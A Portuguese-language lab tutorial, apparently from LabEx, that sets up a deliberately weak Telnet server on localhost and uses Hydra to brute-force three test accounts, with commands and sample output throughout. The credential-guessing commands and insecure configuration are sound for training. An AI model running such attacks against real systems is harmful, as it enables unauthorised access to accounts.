Atacar Serviços Telnet com Hydra

Introdução

Neste laboratório, você aprenderá como conduzir ataques de força bruta contra serviços Telnet usando o Hydra, uma ferramenta versátil para quebrar senhas. Você configurará um ambiente Telnet vulnerável e usará o Hydra para demonstrar como credenciais fracas podem ser exploradas.

O laboratório cobre a configuração do servidor Telnet, a criação de credenciais de teste e a execução de ataques Hydra para destacar os riscos de segurança. Através da prática, você entenderá por que o Telnet é inseguro e aprenderá a importância de usar alternativas criptografadas.

Instalar um Servidor Telnet Local

Nesta etapa, você instalará um servidor Telnet em sua VM LabEx para criar um ambiente de teste local. Telnet é um dos protocolos de rede mais antigos, permitindo acesso remoto a sistemas. No entanto, ele transmite todos os dados (incluindo senhas) em texto simples sem criptografia, o que o torna altamente inseguro para uso no mundo real, mas perfeito para aprender conceitos de teste de segurança.

1. Primeiro, atualize sua lista de pacotes para garantir que você obtenha as versões mais recentes. Esta é uma boa prática antes de instalar qualquer software novo:

sudo apt update

2. Instale o pacote do servidor Telnet (xinetd). Xinetd é um super-servidor que gerencia as conexões Telnet. A flag -y confirma automaticamente quaisquer prompts durante a instalação:

sudo apt install -y xinetd telnetd

3. Crie o arquivo de configuração do Telnet em /etc/xinetd.d/telnet. Usaremos o nano, um editor de texto simples que vem com a maioria dos sistemas Linux:

sudo nano /etc/xinetd.d/telnet

4. Adicione a seguinte configuração (pressione Ctrl+O para salvar e, em seguida, Ctrl+X para sair). Esta configuração habilita o serviço Telnet e define parâmetros básicos. A linha disable = no é particularmente importante, pois ativa o serviço:

service telnet
{
        disable         = no
        flags           = REUSE
        socket_type     = stream
        wait            = no
        user            = root
        server          = /usr/sbin/in.telnetd
        log_on_failure  += USERID
}

5. Reinicie o serviço xinetd para aplicar as alterações. Os serviços geralmente precisam ser reiniciados após modificações na configuração:

sudo service xinetd restart

6. Verifique se o serviço Telnet está em execução. A porta 23 é a porta padrão para Telnet. O comando netstat mostra as conexões de rede ativas e as portas em escuta:

sudo netstat -tulnp

Você deve ver uma saída semelhante a esta, indicando que o serviço Telnet está escutando na porta 23:

Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      22/sshd: /usr/sbin/
tcp        0      0 0.0.0.0:3001            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:3002            0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.11:38203        0.0.0.0:*               LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      22/sshd: /usr/sbin/
tcp6       0      0 :::23                   :::*                    LISTEN      1620/xinetd
udp        0      0 0.0.0.0:3001            0.0.0.0:*                           -
udp        0      0 127.0.0.11:54421        0.0.0.0:*                           -

Configurar Telnet com Contas de Teste

Nesta etapa, você criará contas de teste que serão usadas para a demonstração do ataque de força bruta do Hydra. Essas contas representam credenciais fracas comuns encontradas em sistemas reais, permitindo que demonstremos com segurança como os invasores exploram práticas de senhas ruins.

1. Primeiro, crie três contas de usuário de teste usando o comando useradd. A flag -m garante que os diretórios home sejam criados para cada usuário:

sudo useradd -m user1
sudo useradd -m user2
sudo useradd -m user3

2. Agora, defina senhas simples para essas contas. Estamos usando senhas fracas comuns ('password', '123456', 'qwerty') para simular vulnerabilidades do mundo real. O comando chpasswd altera senhas com segurança, sem prompts interativos:

echo "user1:password" | sudo chpasswd
echo "user2:123456" | sudo chpasswd
echo "user3:qwerty" | sudo chpasswd

3. Verifique se as contas foram criadas com sucesso, verificando o arquivo de senhas do sistema. O comando grep filtra nossos usuários de teste em /etc/passwd, que armazena todas as informações da conta do usuário:

grep -E 'user1|user2|user3' /etc/passwd

Você deve ver uma saída semelhante a:

user1:x:5001:5001::/home/user1:/bin/sh
user2:x:5002:5003::/home/user2:/bin/sh
user3:x:5003:5004::/home/user3:/bin/sh

4. Crie arquivos de credenciais para o ataque Hydra em seu diretório de projeto. Esses arquivos de texto servirão como entrada do Hydra para combinações de nome de usuário e senha durante a tentativa de força bruta:

cd ~/project
echo -e "user1\nuser2\nuser3" > usernames.txt
echo -e "password\n123456\nqwerty" > passwords.txt

5. Verifique se os arquivos de credenciais contêm as informações corretas. O comando cat exibe o conteúdo do arquivo - estamos verificando ambos os arquivos para garantir a formatação adequada para os requisitos do Hydra:

cat usernames.txt && cat passwords.txt

Você deve ver:

user1
user2
user3
password
123456
qwerty

Carregar Arquivos de Nome de Usuário e Senha

Nesta etapa, você preparará os arquivos de credenciais que o Hydra usará para o ataque de força bruta. Esses arquivos contêm os nomes de usuário e senhas que criamos na etapa anterior. Ataques de força bruta funcionam tentando sistematicamente todas as combinações possíveis de credenciais até que a correta seja encontrada. Ter arquivos de credenciais bem organizados torna esse processo mais eficiente.

1. Primeiro, verifique se os arquivos de credenciais existem em seu diretório de projeto. Isso é importante porque o Hydra precisa desses arquivos para realizar o ataque:

cd ~/project
ls -l usernames.txt passwords.txt

Você deve ver uma saída semelhante a:

-rw-r--r-- 1 labex labex 12 May  1 10:00 passwords.txt
-rw-r--r-- 1 labex labex 12 May  1 10:00 usernames.txt

2. Visualize o conteúdo de ambos os arquivos para confirmar se estão formatados corretamente. Cada nome de usuário e senha deve estar em uma linha separada, pois o Hydra os lê linha por linha:

echo "Usernames:" && cat usernames.txt
echo "Passwords:" && cat passwords.txt

Saída esperada:

Usernames:
user1
user2
user3
Passwords:
password
123456
qwerty

3. Crie um arquivo de credenciais combinado para fins de teste. Este arquivo combinado mostra pares de nome de usuário e senha lado a lado, o que ajuda a verificar se eles estão corretamente combinados:

paste usernames.txt passwords.txt > credentials.txt
cat credentials.txt

Isso mostrará:

user1   password
user2   123456
user3   qwerty

4. Instale o Hydra, se ainda não estiver presente (embora deva estar pré-instalado na VM LabEx). Hydra é a ferramenta que usaremos para realizar o ataque de força bruta contra o serviço Telnet:

sudo apt install -y hydra hydra-gtk

5. Verifique se o Hydra está instalado e verifique sua versão. Entender a versão ajuda na solução de problemas ou na busca de recursos específicos:

hydra -h | head -n 5

Você deve ver a saída de ajuda do Hydra começando com:

Hydra v9.2 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISOuvVd46] [-m MODULE_OPT] [service://server[:PORT][/OPT]]

Executar Ataque Hydra no Serviço Telnet

Nesta etapa, você usará o Hydra para realizar um ataque de força bruta contra seu servidor Telnet local, usando os arquivos de credenciais preparados anteriormente. Hydra é uma ferramenta popular de quebra de senhas que suporta múltiplos protocolos, incluindo Telnet. O ataque tentará sistematicamente todas as combinações de nome de usuário/senha de seus arquivos.

1. Primeiro, certifique-se de estar no diretório do projeto onde seus arquivos de credenciais estão armazenados. Isso é importante porque o Hydra precisa acessar esses arquivos:

cd ~/project

2. Agora, execute o Hydra contra o serviço Telnet local (127.0.0.1 é o endereço de loopback que aponta para sua própria máquina). A flag -L especifica a lista de nomes de usuário e -P especifica a lista de senhas:

hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1

3. À medida que o Hydra é executado, ele exibirá o progresso em tempo real. Cada linha mostra uma combinação tentada. Quando for bem-sucedido, ele exibirá as credenciais válidas assim:

[DATA] attacking telnet://127.0.0.1:23/
[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password
1 of 1 target successfully completed, 3 valid passwords found

4. Para salvar seus resultados para documentação ou análise posterior, use a flag -o seguida por um nome de arquivo de saída:

hydra -L usernames.txt -P passwords.txt telnet://127.0.0.1 -o hydra_results.txt

5. Após a conclusão do ataque, você pode visualizar o arquivo de resultados para ver quais credenciais funcionaram:

cat hydra_results.txt

Saída de exemplo mostrando uma tentativa de login bem-sucedida:

[23][telnet] host: 127.0.0.1   login: user3   password: qwerty
[23][telnet] host: 127.0.0.1   login: user2   password: 123456
[23][telnet] host: 127.0.0.1   login: user1   password: password

6. Para fins educacionais, você pode querer ver cada tentativa em detalhes. As flags -vV habilitam o modo verbose, mostrando cada combinação que o Hydra tenta:

hydra -vV -L usernames.txt -P passwords.txt telnet://127.0.0.1

A saída verbose terá esta aparência, mostrando tentativas fracassadas e bem-sucedidas:

[VERBOSE] Attempting user1:password... [SUCCESS]

Verificar a Saída do Ataque Telnet

Nesta etapa, você analisará os resultados do seu ataque de força bruta Hydra contra o serviço Telnet para entender quais credenciais foram comprometidas. Hydra testa múltiplas combinações de nome de usuário/senha contra o serviço, e o arquivo de saída contém todos os logins bem-sucedidos, juntamente com as tentativas fracassadas.

1. Primeiro, navegue até o diretório do seu projeto onde o Hydra salvou seus resultados e visualize o arquivo de saída completo:

cd ~/project
cat hydra_results.txt

A saída de exemplo mostra o formato dos logins bem-sucedidos. Cada linha contém o protocolo (telnet), o endereço IP de destino e as credenciais comprometidas:

[23][telnet] host: 127.0.0.1   login: user1   password: password
[23][telnet] host: 127.0.0.1   login: user2   password: 123456

2. Para filtrar apenas as tentativas de login bem-sucedidas de arquivos de saída potencialmente grandes, use o grep para encontrar linhas contendo "login:":

grep "login:" hydra_results.txt

3. Verifique as contas comprometidas tentando o login Telnet manual com as credenciais descobertas. Isso confirma as descobertas do Hydra e demonstra como um invasor usaria as credenciais roubadas:

telnet 127.0.0.1

No prompt de login, insira:

user1
password

O login bem-sucedido mostrará a mensagem de boas-vindas do servidor e o prompt de comando:

Welcome to LabEx Telnet Server
user1@localhost:~$

Digite exit para sair da sessão Telnet quando terminar o teste.

4. Crie um relatório de resumo profissional das contas comprometidas para documentação. Isso cria um novo arquivo com resultados formatados e contagem:

echo "Compromised Accounts:" > attack_summary.txt
grep "login:" hydra_results.txt >> attack_summary.txt
echo -e "\nTotal compromised: $(grep -c "login:" hydra_results.txt)" >> attack_summary.txt
cat attack_summary.txt

Resumo

Neste laboratório, você aprendeu como configurar um ambiente de servidor Telnet vulnerável usando xinetd e credenciais fracas para fins de teste de segurança. O processo incluiu a configuração do serviço Telnet na porta 23 e a criação de contas de teste com senhas intencionalmente fracas para demonstrar vulnerabilidades de autenticação.

O exercício destacou os riscos de segurança do uso de protocolos não criptografados como o Telnet e a importância crítica de implementar políticas de senhas fortes. Por meio da demonstração prática com o Hydra, você observou como os ataques de força bruta podem comprometer facilmente sistemas com mecanismos de autenticação fracos.